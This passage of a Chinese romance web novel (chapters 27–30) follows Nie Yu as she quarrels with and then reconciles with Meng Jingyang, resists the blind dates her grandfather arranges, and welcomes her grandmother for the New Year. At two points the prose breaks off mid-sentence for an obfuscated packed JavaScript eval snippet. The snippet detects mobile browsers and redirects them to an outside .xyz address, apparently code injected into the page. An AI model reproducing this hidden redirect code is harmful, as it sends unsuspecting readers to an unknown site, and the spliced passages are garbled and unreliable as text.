聂宇这话,终于让孟京阳冷了脸。他抬眸看着她,像在看一个陌生人,一个极不可理喻的陌生人。 “聂宇,我能理解你现在有情绪,但这不是你可以肆意攻击我的理由。”一顿,他略调整下呼吸,又对她说,“你冷静一下,等你情绪稳定下来我们再谈。” “我很稳定。”聂宇说,“要不然也想不明白为什么吃饭那晚你一直冷着脸,你是不是也怕我选‘谢念真’当那个人?” 其实,聂宇说这话更多是在试探,她已经不清楚孟京阳现在是如何看她的,所以迫切地想从他口中知道答案,她不想被他误会。然而孟京阳听完之后,却是沉默了。对于她的猜测,他有些讶然,但接下来却不发一言。 聂宇不由有些心慌了,怕他接下来给出的答案让她承受不住,她纠结片刻,转过身就想走。 “站住——” 孟京阳却叫住了她,低冷的声音从身后传来,“你干什么去?” “我、我回家。”聂宇咬着牙,也是怕自己不争气哭出来。她现在心里全是有委屈,虽然这委屈并非只来自孟京阳。 “在这里已经毫无意义。” 聂宇又说,不料孟京阳却不放人。 “你跑来我这里发了一通威风,现在想当没事人一样拍拍屁股就走人了?” 孟京阳说着,起身走到她面前,看着她。聂宇不甘示弱地看回去,两人就这样僵持片刻,孟京阳倏地收回视线,丢下一句话—— “我跟你一起回去。我倒要当面问问蒋老爷子,看他是如何管教外孙女的。” 14.27-28 -27- 聂宇没想到他反倒要“恶人先告状”,一时惊愕万分。冷静下来,她决定兵来将挡水来土掩,反正她今晚要撕破脸的人又不止他一个,早晚而已。 “可以。什么时候走?现在就出发吗?” 一句服软求和的话都没有,显然是不在乎即将要面对的是什么了。孟京阳简直服了她的倔性子,呵笑一声后,他说:“不急,忙了一天,我还没吃晚饭。” “……” 聂宇没想到,他说不急是真不急,而他说没吃晚饭,那就必须在去干休所之前把这顿饭吃了。 孟京阳将车子开出大院,停在了路边一家面馆外。进去之后,他给自己要了一碗面,没问聂宇吃不吃。 聂宇当然不吃,店家便给她盛了一碗清汤过来,让她暖暖手。聂宇浅尝了几口,看着坐在她对面吃的慢条斯理的某人,心口有些鼓噪。 她是真不想坐他的车跟他一起回去,可若是她提出来,孟京阳肯定会以为她是想“畏罪潜逃”,她不会给他嘲讽自己的机会的。但她又想速战速决,想一鼓作气,时间久了,她心里的那点儿决绝就一点点被消磨了下去,统统变成了不安,悬在心头。 终于,孟京阳吃完了,两人再度回到了车上。 - 干休所这边,蒋铸和蒋云鹏父子回来之后听闻了聂宇的动向,一时都觉得不好。但老爷子毕竟是老爷子,吩咐了一句“让聂宇回来之后去书房见我”就回了屋,留蒋云鹏一个人在原地打转。 过了好一会儿,院门口处隐约传来了动静,蒋云鹏出屋一看,发现回来的不仅聂宇一个,居然还有孟京阳。他一时有些怔愣,站在那里不知道该说什么好。 “老爷子在家么?”孟京阳走在前头,主动问道。 “在,在书房里。”蒋云鹏被动接话。 “好,我有话想跟他说,是否方便见一面?” “方便,方便。” 蒋云鹏引着孟京阳就往那边走了,而聂宇则是自动自觉地停下了脚步,候在外间,等着被传唤。此时此刻,回到这个熟悉的家中,设身处地地想了一下接下来要面对的,她不免有些紧张。舅妈魏莹上前来问她晚饭想吃什么,聂宇摆了摆手,手脚有些发软地在沙发上坐下了。 就这样等了一刻多钟,期间有好几次蒋云鹏试图上前来套她的话,问她刚才跑出去去了哪里,聂宇皆没有吭声。她像是失了魂,又或者完全沉浸在自己的世界里。 终于,书房的门打开了,姥爷蒋铸和孟京阳一同从里面走了出来,还有说有笑的。聂宇看的两眼发直,站起来有些期盼有些迟疑地看过去,却没人理会她。 “那就这么说定了,你回去跟老孟说一声,等我有空了去找他下棋。”蒋铸说。 “好,随时恭候。” 孟京阳笑一笑,又同蒋云鹏点头示意了下,便准备离去。临出门前,他只淡淡地扫了聂宇一眼。 这下聂宇看不明白了,她一头雾水地站在原地,直到姥爷蒋铸发话,让她跟他一起去书房。 - “不是已经同意了你去小孟那里代课,怎么他还要过来同我亲自说一声?” 待书房门关上之后,蒋铸回过头有些疑惑地看着她。 聂宇也同样不解:“您、您是说,小孟叔叔来跟您说的是这件事?” “那不然呢。说是定下了你去代课这件事之后他就去外地出差了,前几天刚回来。今晚正好学生那边有事,将你接过去了一趟,解决完之后他就亲自送你回来,顺便来跟我见个面,交代一下。”蒋铸说着一笑,“这小子,虽说想一出是一出,到最后倒总能周全。” 聂宇完全傻眼了,她没想到会是这个结果。怎么会?怎么会! 聂宇犹自发着怔,那边蒋铸已经饮下了半杯茶,看着心神恍惚的外孙女,问道:“你舅妈说,在我和你舅舅出门之后,你就急着找我们,是有什么事吗?” 聂宇双目怔忪地看向姥爷,触及他那双别有意味的双眸时,她慢慢回过神来,重新找回了自己的重点。 “是有事。”她轻而稳地说,“今天来的曾蛟,是您和舅舅想给我介绍的相亲对象吗?安排我接待他,是不是也想让我们两个相看?” 果然还是让她看出来了! 蒋铸叹口气,说:“没错。” “为什么!”聂宇快走几步,到老爷子面前质问道,“您不是答应我了,这一年都不提这事吗?” “怎么不能提?男大当婚女大当嫁,这是最正常不过的事!” 蒋铸沉声道,见聂宇颇为难以置信地看着他,似是不相信铮铮如他也会这般出尔反尔的时候,他又叹了口气,缓和了口吻说:“当初在照山会答应你,一是怕你太固执钻牛角尖,二是也没有合适的对象。自你来到燕城之后,陆续有人给你介绍,你舅舅也替你操着这份心,看着那些长相、家世和能力都十分出众的年轻人,你说姥爷怎么可能忍心让你错过?是,我是可以让你等一年,但有些人,过了这个村就没这个店,你可要想清楚!” “我不要,再好我也不要,行吗!” 聂宇都快哭了,蒋铸一看她的眼泪,也有些发急:“你不要男人你要什么?考了大学出来还不是要嫁人,男主外女主内,是老祖宗自古传下来的多少年的老规矩,到你这里就行不通了,你还准备给我打光棍一辈子?” “我现在只想读书,考大学。我不想想别的。”聂宇说。 “读书读书!”蒋铸用一种发狠的声音道,“跟你妈一样,最后读出来一身矫情病,落得如今这个下场!” 仿若一记重锤砸在聂宇的耳膜上,让她整个耳朵都嗡嗡的,再也听不见一句话了。她看着她的亲姥爷,嘴唇抖动着,不知道还能说些什么。 蒋铸也知道自己这话说过了,沉默好一会儿,他满是疲惫地对聂宇开口:“小宇,你知道我这辈子最后悔的是什么吗?就是没早早地给你妈安排一个人嫁了,这样她也不会执迷不悟那么久,做一件又一件违心的事,害了自己,还辜负了那样多人。小宇,人活着没必要知道那么多,很多大字不识的妇女相夫教子一辈子,不也过得很好么?” 聂宇这才明白姥爷的心结源自何处,但她想说,她跟蒋云清不一样,她绝不会成为她。 “不管怎么说,这一年我不会去相亲,也不会嫁人。如果您逼我,蒋家我也不待了。” 丢下这句话,聂宇离开了书房。 - 这一晚,除了尚不知事的蒋晓南,蒋家众人都没有休息好。 第二天早上,饭桌上的气氛犹有些沉闷,但聂宇已经恢复了过来。她闷头吃着饭,蒋铸看她似是胃口大开的样子,气不打一处来。 聂宇之所以这么淡定,是因为她已经想到最坏的结果了,那就是大不了离开蒋家。反正她已经攒了些钱,又认识了一些朋友,想来是能在燕城找到出路。既是如此,她大可以坚定一些,守住自己的立场。 但这件事终归没有她想的那么简单,所以如果以后姥爷不逼迫太紧,她也不会再同他撕破脸。 总之,这件事聂宇已经有了决断,不再像昨天晚上那般急得团团转,跟一个没头苍蝇似的。反倒是蒋云鹏,见这件事有些推行不下去,不免有些发急。在饭后他跟了老爷子去书房,向他抱怨。 “爸,这事儿接下来该怎么办,您给拿个主意呀。昨晚老曾通过老谭递话来,说是曾蛟那小子对小宇印象不错,相处下指不定能成,咱们就由着孩子错过这么一段大好姻缘?” 蒋铸也在想这件事,最后,他长出一口气,说:“算了,缓缓再说吧。现在小宇正反感着,总不能真逼得孩子离家出走。” “她还威胁您要离家出走?”蒋云鹏竖眉瞪眼道,见父亲默认,他一摆手,略有些无奈在一旁落座,说,“您瞧我说什么来着?别看我姐没带过她几天,但小宇这孩子的性子跟我姐真是越来越像,简直一个模子刻出来的。您要不趁早管,早晚惹出比我姐还大的祸来!” “胡说八道!” 老爷子怒斥,惊的蒋云鹏敢怒不敢言。但他晓得,这确实是父亲心里最担心的事,否则也不会真松口给聂宇找对象。 - 聂宇没再去想姥爷还有什么后招,接下来的两天她都在图书馆里闷头复习,但心情并不算平静。当然,不光是因为相亲的事儿,还有一部分烦恼,是关于孟京阳。 这件事复盘到最后,唯一让她觉得有所亏欠的,是孟京阳。原本以为他那天真是来告状的,没想到最后他只字未提,只是说了些无关紧要的。那他那天来那一趟是为了什么,总不能只是把她“押送”回家吧? 聂宇起初觉得费解,到最后就有些惭愧了。纵使孟京阳不算真无辜,但这件事里她肯定误会了他很多。所以,她是不是要跟他道个歉呢? 留给聂宇纠结的时间并不多,因为很快就到了周日下午,她得去他那儿上课了。 -28- 聂宇原本想要将这周日的课停掉,待彼此之间不那么尴尬了再继续。但逃避不是解决问题的办法,再加上还要对学生负责,所以她硬着头皮去了。但聂宇这一次没有提前,而是掐点到的。到了之后也没有直接拿钥匙开门,而是先敲了敲门。 不出所料的,里面有人应门,是小朋友孟天放。他给聂宇开了门之后,就对着身后坐在沙发里的那个人喊了句:“小叔,聂老师到了。” 早在得知屋内有人的时候,聂宇就已经做好孟京阳在家的心理准备了。因为除了他之外,没人能在这个点儿给小朋友们打开门。她进屋后低头换鞋,就听孟京阳接话道:“到了就开始上课吧,你回到自己位置上,乖乖听讲。” 这话是对孟天放说的,但指向的人里似乎也包括她。聂宇走进屋内看他一眼,见他手里拿着一沓纸,低着头一副在忙工作的样子,迟疑了几秒,没有同他打招呼。她放下手中的东西,深吸一口气,向自己的学生们拍了拍手,示意开始上课。 课倒是比想象中进行得顺利,聂宇掐着时间上完第一节英语课,就让他们拿出各自的作业开始写。而她则坐在一旁看书,一边时刻准备着给学生解惑答疑。房间里就此安静了下来,只剩下笔尖划过纸张的沙沙声。然而聂宇的注意力却总是集中不起来,每看几行,思绪就忍不住往沙发那边跑。 从开始讲课到现在,孟京阳就坐在那里没挪过窝。就在聂宇以为他会在那边待到天荒地老的时候,孟京阳忽然有了动作:他将手中的报告随手放到一旁,似是打算起身。 聂宇收回了自己的视线,余光却仍在时刻留意着他:孟京阳果然起身了,向着桌子这边走来,然后在距离两步之遥的地方拐了弯,向着厨房去了。 聂宇暗自屏着呼吸,在意识到他的目标不是她之后,稍稍松了一口气。随后,又有些失落。她想,他就不能大人不记小人过,给自己递出一个台阶吗?只要一个,她只要一个,剩下的隔阂她就是跳也会跳过去。 “聂老师,小叔去给我们煮梨水啦。” 孟天放忽然小声对她说,聂宇听后,眼睛微亮,随后起身去了厨房。 果不其然,孟京阳正在那里煮梨水,旁边的托盘上一次排开几个碗,都是给孩子们准备的。说起来,这个托盘还是她买回来的,他倒是很清楚是用来干嘛的。 聂宇走神了一秒,然后对着孟京阳的背影,清了两下嗓子,企图引起他的注意。 “什么事?”孟京阳没回头,声音平静地从前面传来。 聂宇没有计较他的态度,又轻咳了一声,她说:“小孟叔叔,那天的事,对不起。” 无论如何,她要给他道个歉。虽然,她仍是有些在意他的只字不提。 孟京阳终于回头看了她一眼,但很快又收回了视线。 “免了。”他说,“聂老师的歉意,我担不起。” “……”确定要这样尖刻吗?还是他已经彻底看透了她,以后都不打算把她这个人放在眼里了?可若是如此,那天又为什么不干脆直接在她姥爷面前告她一状,这不是更痛快? 聂宇有些困惑了,而那边见她没再出声,不由在心中暗叹口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409149|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。当然,面上还是依旧装作毫不动容的。 “别傻站着了,先把这些给孩子们端过去吧。” 他这是在支使她?聂宇反应了下,发现事情没有自己想的糟糕。轻一抿唇,她将梨水端出去分给了孩子们,分完之后略作纠结又回了厨房,发现孟京阳又在给孩子们准备水果。 意识到他的真实所想不像表达出来的那样坚不可摧,聂宇在原地站定,重新措辞,语气比方才更为郑重地开口:“小孟叔叔,我知道自己那天做的有些过分了。就像你说的,无论如何,那不是我可以肆意攻击你的理由。我不知道你现在如何想我,但不管怎样,我自己该说的该做的……还是要完成。” 说到最后,聂宇的声音低了下去。此刻的她忽生出一种伤感,仿佛一只咬伤别人自己也被刺得鲜血淋漓的小动物,忽然感知到了一丝疼痛那样。在这件事里,根本没有赢家。 孟京阳当然听出了她话中的异样,他停下手中的动作,转过身注视着聂宇,发现她此刻的眸中满是迷惘,还有一丝难过。在心底又深叹一口气,他开口道:“我还能如何想你?从头至尾,我从没想过站在你的对立面。” 这句话,也算是解答了聂宇的困惑,那就是孟京阳为什么不打算告诉她相亲的事却还是要去试探她。 聂宇听完之后心里仍是难受。鼻尖泛酸,她有些想落泪,略仰了仰头,忍住了。 孟京阳适时地回过头,继续切着水果,又问她道:“你姥爷那边怎么说?” 他毫不怀疑,那晚在他走后,这对祖孙绝对干架了。 “他还能说什么。”聂宇低声道,“反正他总能找到理由,我不答应不妥协就是了。” “所以你的战术是打算硬刚?” 孟京阳反问道,聂宇有些茫然地眨眨眼,似乎是在说不这样还能如何。 孟京阳不由失笑。之前在照山的时候还能想出那样的馊主意,现在反倒一点儿手段也没有了? 说起照山,孟京阳想起自己还有个疑惑,尚未得到解答。 “聂宇,有个问题我还没问过你。”他将水果刀放到操作台上,侧首审视着聂宇说道,“如果在照山那一晚我答应帮你,你会怎么‘利用’我?” 彼时他以为聂宇给他下套,是想让他帮她回到燕城。后来待他了解了事情的来龙去脉,才知道她是想借他躲避相亲,这才是她真正所求。 聂宇不知他怎么突然提起这个。对此她当然不想提,只是现在她处于下风,所以最好还是老实回答。 “就是制造一点暧昧,让我姥爷误以为我和你……”聂宇微一脸热,“尽量让他误会地久一点,这样看在你的面子上,他应该也不好给我再安排相亲。我就可以借此安心准备高考。” “久一点?多久呢?”孟京阳追问。 “到我高考结束吧。” 孟京阳拉长音调“哦”一声,轻眯了下眼,顺着她的思路猜测道:“等到你高考结束,我这个老虎就没什么用了,你这只狐狸正好甩了我跑掉,是这样吗?” “不是不是。”聂宇急说,停顿一下,她尽量为自己辩解,“虽然确实是这么想的,但我根本做不到。我本来就不打算那么做的,那天去找你纯属鬼迷心窍……” 聂宇无比诚挚地看着他,希望孟京阳相信她说的话。而孟京阳在对上那双纯净的眼眸时,神色也有一瞬的停顿,随即,他呵笑一声,不再看她。 “幸好,你还算有自知之明。”他说。 孟京阳平生最不喜的一件事,就是在感情这件事上被人利用。 聂宇简直有些无地自容了,微低着头,露出细白又脆弱的脖颈。孟京阳只是不经意地撇过去一眼,便迅速收回了目光。 “所以呢?”沉默片刻,他忽然又问,“现在不打算用这一招了?” “当然不。”聂宇立刻抬起头坚决地回,“我不用了,对谁都不用了。无论是你,还是谢念真。” 差点儿忘了,还有个小子掺和在这件事里。 “你对念真——” 他缓慢地开口,措辞还没斟酌好,就被聂宇打断了话头—— “我们只是朋友。”她果断地说,“在学习上他帮了我很多,我是真心把他当做老师的。感情的问题,别说利用他,我甚至都没想过我们之间会有这回事。”一顿,“是我逾矩了吗?” 这句话,某种程度也是在质问了。她已经确定,孟京阳就是对她有所怀疑。 “不是。”孟京阳说。 真正逾矩的,另有其人。 “如果你无意,还是跟念真说清楚,隐晦一些就行。” 孟京阳本不打算多解释,可聂宇何等聪明,简单的一句“不是”并不想打消她的疑虑。更何况,谢念真那小子也是个倔性子,未免越陷越深拔不出来,还是早点知道真相的好。 聂宇没想到会是谢念真,短暂地惊讶一瞬,她点头答应。殷凡的教训太深刻,在感情这件事上,她真的不敢再有一点优柔寡断。 “聂宇——” 孟京阳再次轻唤她的名字,似是有话要说。 聂宇微仰头,耐心地等着,却见他忽而一笑,递给她一碗草莓。 “?”她有些疑惑,这么一小碗拿出去,也不够给孩子们分呐。 “是给你的。”孟京阳说,“你道完歉了,我是不是也该表示下自己的诚意?” “扯平了。” - 虽说聂宇讲明了自己不会妥协,但孟京阳深知,事情的发展不会完全如他所愿。种种迹象表明,在蒋家,至少蒋云鹏是希望聂宇能够尽快觅得佳婿的,如果有合适的对象,他才不会管聂宇是不是还在备考。也就是说,像这次这样的事情以后有可能还会发生,到时候聂宇该如何应对呢,她又会受多大的影响? 当晚,在所有人走后,孟京阳独坐在沙发里,兀自沉思了许久。而在这寂寥的沉默中,他忽然意识到一个事实:他在意这件事的程度,比他以为的多。甚至有那么一刻,他觉得聂宇在照山那晚的“鬼迷心窍”也不是不能考虑。 15.29-30 -29- 谢念真没想到,属于自己的情感之花,只开了不足半个月就要谢掉了。在又一次请假来见聂宇的时候,他被她委婉地告知:她一直拿他当良师益友,未来几年也只打算专心学业。 谢念真并不惊异于她是如何看出来他对她的好感的,他只觉得尴尬和失落。 “聂宇……” 他轻唤出她的名字,想让她不要急于做决定,再给彼此一些时间和可能。只是,他又如何不知道她所说的都是事实呢。这些时日相处下来,她对他有没有男女之情,他心里其实都一清二楚。 “抱歉啊聂宇,给你带去困扰了。”他低声道歉。 “没事啊,说开了就好了。但是你千万不要误会,我拒绝你并不是因为你不够好,而是我确实只拿你当朋友,没有其他的想法。你将来肯定还会遇见真正适合你的人,而且她肯定跟你一样优秀,你们会非常幸福。” 有殷凡这个前车之鉴在,聂宇把话讲得不能更透彻,但这却让谢念真更难受了。你瞧,她连一丝隔膜也没有,可见是心里真的没有丁点绮念才会如此。既然这样,他也不能让她太为难。 “好。”他勉强挤出一个笑,说道。 - 在时间迈入新的一年的时候,聂宇得知一个让她既惊又喜的消息:蒋家打算邀请她的奶奶谢静芳来燕城过年,顺便简单地庆一庆蒋铸的七十七大寿。 这件事是蒋铸利用吃早饭的时机宣布的,众人听完之后,都颇为意外。 “本来就没有彻底断过关系。既然是亲戚,哪有不相互走动的。正好,借着小宇在这里,咱们两家的关系也应该慢慢恢复起来。” 老爷子如此说,蒋云鹏自然不敢有意见,只是—— “那我姐那里?”他有些迟疑地搬出蒋云清,提醒老爷子两家之间还有这么一个尴尬人物的存在。 “你姐已经超脱地不问万事了,她能有什么意见?至于谢老太太那边,她也是心胸阔达之人,事情过去这么多年,该放下的她也应该都放下了。” 蒋云鹏不言语了,想必是觉得老爷子说的话在理,但聂宇却觉得未必。她想了想,对姥爷说:“要不我先打电话问一下奶奶的意思?聂家那边亲戚多,每年过年都有很多人情往来,老太太不一定走得开。” “也行。”蒋铸考虑了下,对聂宇说,“等你问好你奶奶的意思,我再正式邀请她过来,这样更合适一些。” “好。” 吃过早饭,聂宇就去书房给奶奶打电话了。在她看来,奶奶为人虽然拿得起放得下,但她未必愿意真来燕城。若她有任何顾虑,那她都要替她好好回绝了蒋铸。然而让聂宇没想到的是,谢静芳听她说完之后,只简单地考虑了不到一分钟就同意了。 聂宇甚是惊讶:“奶奶,你真的要来?” “怎么,燕城又不是什么龙潭虎穴,我还去不得了?”谢静芳在那头笑,“我的小羽毛在那儿呢,我都有多久没见你了,奶奶也是想你的。” 早在出发来燕城之前,祖孙俩人就约定好了,今年过年不回旬城。聂宇原本心里还难受呢,现在能有机会相聚,她如何不开心。只是,到底还是有那些旧事在,她怕奶奶过来不自在。 “没关系的。反正我们聂家也不欠他们蒋家的,既然他们诚心相邀,我们又有什么可回避的。小宇,你放心,奶奶一点儿也不为难。” 聂宇这才真放心了,再涌上心头的,都是开心和喜悦。其实她并不知道,早在这一通电话之前,蒋铸已经跟谢静芳提前通过气了。两位老人一致约定,为了将来聂宇在燕城的发展,必须打破横亘在两家之间的这块坚冰,这才是蒋铸邀请谢静芳前来的真正用意。毕竟,将来无论是婚嫁还是工作,一个和谐稳定的家庭关系对聂宇只有好处没坏处。 对于蒋铸肯如此为聂宇做打算,谢静芳的心里是始料不及的。待平静下来之后,她的心里满是心酸和欣慰。她想,为了获得蒋铸的认可和欣赏,小宇这孩子一定是付出了很多。只要能送她一程,她这个老婆子还有什么舍不下的呢。 事情就此敲定,聂宇十分高兴,但临挂电话前,她又想起一件事,便叮嘱奶奶道:“来的时候带够您自己花的钱就行,别老惦记着我,知道吗?” 谢静芳:“……”这孩子真是操不完的心。 - 有奶奶来陪着过年,聂宇开始对即将到来的春节充满期待。放假在家的孟天音得知这个消息后也很替她高兴,但说起春节来,她就忍不住要叹气了。 “今年我家过年还不知道会怎么样呢。”她说。 “怎么了?”聊这件事时,两人正一起在院里的图书馆看书。她们坐在南向的那扇大玻璃窗前,有阳光照进来,格外暖和。 “也没什么,就我小叔嘛。”孟天音轻声说,“前段时间我妈给他介绍了对象让他去相亲,被他借着工作忙给躲过去了。结果这事儿让我爷爷知道了,老先生不高兴了呗。前天我听见他在电话里给我小叔下命令,过年前不相个七八个就不用回来吃团圆饭了。” “……你爷爷应该是说说而已。”聂宇咳一声,又问,“那小孟叔叔去相亲了吗?” “话都说到这份儿上了,他怎么也得见一两个吧?”孟天音挠头,“不过我小叔这人,哎,太难搞了。” 聂宇支肘思索了片刻,问道:“你小叔他,怎么到现在还没对象呢?” “这个,算是历史遗留问题。”孟天音含糊道,“不过跟他不想找也有关系,我二奶奶走了之后,他这人就跟看破红尘了似的,格外清心寡欲。说夸张点,身边方圆几里,见不到一个女的。不过这样也挺好其实,不谈对象,他就有时间带着我和天放玩儿了。如果不是考虑到小叔后半辈子的幸福,我也不希望他找对象,哈哈。” 聂宇也跟着笑了,笑完之后陷入沉思。原来,他也有这样的烦恼吗? - 自那次“扯平”之后,聂宇就很少见到孟京阳了。他是真的忙,偶尔周日上课的时候碰到他在家,说不了两句话他就又要走。聂宇有怀疑过他是不是故意避着自己,但又觉得没这个必要。她算什么呢,能让孟京阳那样在意? 只要这样一想,她就不会胡思乱想了,只是心间难免会有些不平静。好在,这些杂思很快都被即将见到奶奶的喜悦抚平。 在距离春节还有不到一周的时候,聂宇的奶奶谢静芳终于抵达了燕城。她得知这个消息的时候刚在家午休起,欢喜的立刻披起衣服,都等不及舅舅蒋云鹏拐到家里来接她了,直接去干休所大门口等人。 在抵达大门口的时候,聂宇看见一辆牌照有些眼熟的车子从院外开过来,仔细一瞧竟是孟京阳常开的那辆。她不由多瞅了几眼,冷不丁地,听见有一道男声从身后传来—— “你怎么站在这儿?” 回头一看,果然是孟京阳。他穿着整齐,是要外出的样子。 “我在等我舅舅回来。”聂宇说道,又是一笑,“我奶奶从旬城过来了,我们一起去火车站接她。” 孟京阳从天音那里听说了这件事,他轻一抬眉,说:“不错,能过个舒心的春节了。” 这当然是说聂宇,她听完之后笑得更开心,没有多想地回了一句:“您也加油。” “?”孟京阳往外走的脚步一停,回过头不太明白地看着她——他加什么油? “相亲啊。”聂宇说,“祝您早日完成‘七个八个’的目标。” “……”孟京阳沉默了,末了他一笑,抬眸有些疏淡地看聂宇一眼,“聂宇,我们已经是可以随便聊这种话题的关系了么?” “……”聂宇这才意识到刚才的话貌似是有些冒犯,一时不由有些尴尬。 “抱歉。” 年轻姑娘略有些不安,孟京阳没再说什么,转过身直接离去。 聂宇不免有些莫名,她忍不住想孟京阳是不是在这件事上有什么忌讳。她在他面前,还从没有因为玩笑得罪过他呢。难不成这一次,真的有些过火了? - 院外,孟京阳上了车之后就直接吩咐司机出发。但他整个人的思绪,还停留在院内某个有些发傻的人身上。 自上次意识到自己有些“不对劲”的时候,孟京阳尝试着跟聂宇保持距离了一段时间。这期间并无什么大事发生,但他的想法似乎也没发生什么改变。孟京阳不免有些费解,直到今天在这里遇见聂宇,听到她如此轻描淡写地提起“相亲”的事,心头骤然升出一丝不悦。 孟京阳终于认清一个现实,不管他主观是否愿意,有些变化发生了就是发生了。搁置、逃避,都没有任何用。 更何况,他本身也不认为这就是一件坏事。 -30- 聂宇的心情并未受到这个小插曲太大的影响,待到舅舅蒋云鹏回来,她立刻收拾心情,跟他一起赶赴火车站。 这一次谢静芳来燕城的票是蒋云鹏帮忙定的,是两张软卧。两人一到车站便买票上了站台,抵达了软卧车厢停靠的地点。没等多久,火车就准点抵达了。 聂宇早就演练过见到奶奶时的场景,在心里一直警告自己不能哭。待看到谢静芳被堂哥聂杰英扶着走下车时,她的眼泪仍是没忍住,她扑上前抱住了老太太,含着泪腔喊了一声“奶奶。” 谢静芳穿着一身老式棉服,打扮的十分大方得体。下车前她还特意梳洗了一番,想要洗去旅途的疲惫,用最好的状态迎接孙女。没想到小姑娘这么不争气,连累地她心肠也跟着软了。 “小羽毛,我的小羽毛,奶奶可算见着你了。”谢静芳轻轻拍了拍聂宇的背,忍着没让眼泪掉下来。 聂宇在奶奶怀里腻歪了片刻,抬起头跟她身后的聂杰英打招呼:“堂哥,你来了。” 本来先前说的是大爸聂传洋陪奶奶来燕城,不知怎的换成聂杰英了。 然而聂杰英却很开心,这一趟有的吃有的玩,坐的还是软卧,他高兴还来不及。 “来了。”聂杰英很轻飘随意地应一声,又说,“别哭了小宇,看让你舅舅笑话。” 在这种场面里,蒋云鹏其实永远是最体面的一个。他容聂宇和谢静芳祖孙俩发泄了一下相思之情,才吩咐司机上前来接过行李。然后又安慰了祖孙俩一番,带着他们出了站。 - 上了车后,蒋云鹏坐前排,聂宇和奶奶堂哥坐后排。这其中聂宇自然粘着奶奶坐,她像一颗长久地游离在一块名为“家”的磁场之外的粒子,重新归位后怎么也不肯撒手。 谢静芳的注意力自然也全在孙女身上。她不像聂杰英那样巴着窗户一直往外看,先是应付着蒋云鹏的问候,然后便低低絮问着聂宇这几个月以来的生活,一个细节也不肯落下。 蒋云鹏在前面听笑了,仿佛是表功又仿佛是宽慰地插话道:“老太太,你瞧我说的没错吧,小宇过来吃不了苦。” 谢静芳没吭声,过了好一会儿,轻轻地拥住了聂宇。 - 干休所的家里,蒋铸和蒋云鹏的妻女已经在等着了。及至听到门外有汽车的响声,他们立即起身,迎了出来。 “一路辛苦了。”蒋铸看着谢静芳走近,开口问候道,神情和语气是难得的温和。 “不辛苦。”谢静芳说,“托云鹏的福,我和杰英一路都是躺着过来了,活了这么多年,这么舒服的赶车还是头一回。” 尽管聂宇已经在奶奶的叮嘱下把车票钱硬塞给了舅舅,但谢静芳还是把这个功劳归到了蒋云鹏身上。毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421914|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟软卧的票有限,没他帮忙一定买不到。 “应该的。他是小辈儿,就该多跑跑腿。” 蒋铸说着,将家人一一都向谢静芳做了介绍之后,率先领着人进屋了。聂宇落后了几步,就看见先前还在卖乖的蒋晓先这会儿脸上挂着意味不明的笑。 “你笑什么?”聂宇低声问道。 “没什么啊。”蒋晓先说,“不知是谁刚来的时候言之凿凿地说自己只带一张大学通知书离开,结果这才多久哇,老家的亲戚一个两个的都来了。这么看你比那姓魏的也没好到哪儿嘛。” 聂宇并不生气,只是接着她的话说:“人是姥爷亲自请来的,你有意见跟他说。你这个人,向来不敢碰硬茬,却又偏爱嘴贱。有本事姥爷当初提出来的时候你就说站出来反对,我还敬你有几分骨气。” “你——” 蒋晓先气的脸色铁青,还来不及发作,那边小宋已经提着行李进门了,她见状只得作罢。 - 当晚,蒋铸在家里又摆了一桌。众人一直欢聚到九点,散后,聂宇陪着奶奶一起回了住处。 本来这次谢静芳前来是要住在家里的,这里也不缺屋子。但是聂宇想起她刚来时蒋晓先说的那些话,便问姥爷能不能把人安排在招待所。她的理由是那里的房间都是双床的,她去陪住方便。而奶奶进进出出也不用知会家里其他人,这样能更自在些。 蒋铸答允了。在谢静芳来燕这件事上,他其实有意无意地考验了聂宇很多次。到目前为止,这个姑娘的表现让他还算满意,只是不知这个对象哪一天换做是他的时候,她还有没有这么用心。 聂宇并不知晓姥爷的这些小心思,也不在乎。她只知道,她又能奶奶睡在一起了! 分好房间之后,打发完堂哥聂杰英,她就提着东西挽着奶奶进了屋。安排的果然是双床房,聂宇放下东西,就将两张床拼在一起了,还铺上了自己带来的床单。 “我要挨着您睡!”聂宇坐在床边仰头说道,像个孩子一样。 谢静芳怜爱地摸了摸她的头,脸一板,假意不满道:“先去洗漱,换上干净衣服了再上床。” “是!” 祖孙俩用最快的速度洗漱完,然后躺到床上,相互依偎着开始说起悄悄话来。内容无非就是一些离别后的情况,早在电话里已经说过不知多少次了,从火车站到家里的路上谢静芳也又一一问过,现在仍然说不烦。 “奶奶,怎么是堂哥陪您来,我大爸呢?”想起这件事来,聂宇问道。 “你大爸陪你大妈回她家过年了,今年你大爸二爸都是这样的安排。”谢静芳平静地说,有些低哑的声线在深夜里听上去格外沉静,聂宇百听不厌。 “是因为您要来燕城?” “是啊。你大妈也是不容易,嫁过来也是好多年没回家过年了,就随她去吧。” “嗯,我也不在意这个。只是堂哥这一路过来照顾您还算周全吗,我总觉得他不靠谱。” “跟你自然是没法儿比,但当个拎包倒水买饭的也够用了。”谢静芳笑一笑,轻拍着聂宇的背,仿佛小时候哄她睡觉一样。 聂宇果然听的心花怒放,往谢静芳怀里拱了拱,撒娇道:“那当然是谁都没法儿跟我比,我是您最贴心的小棉袄。” 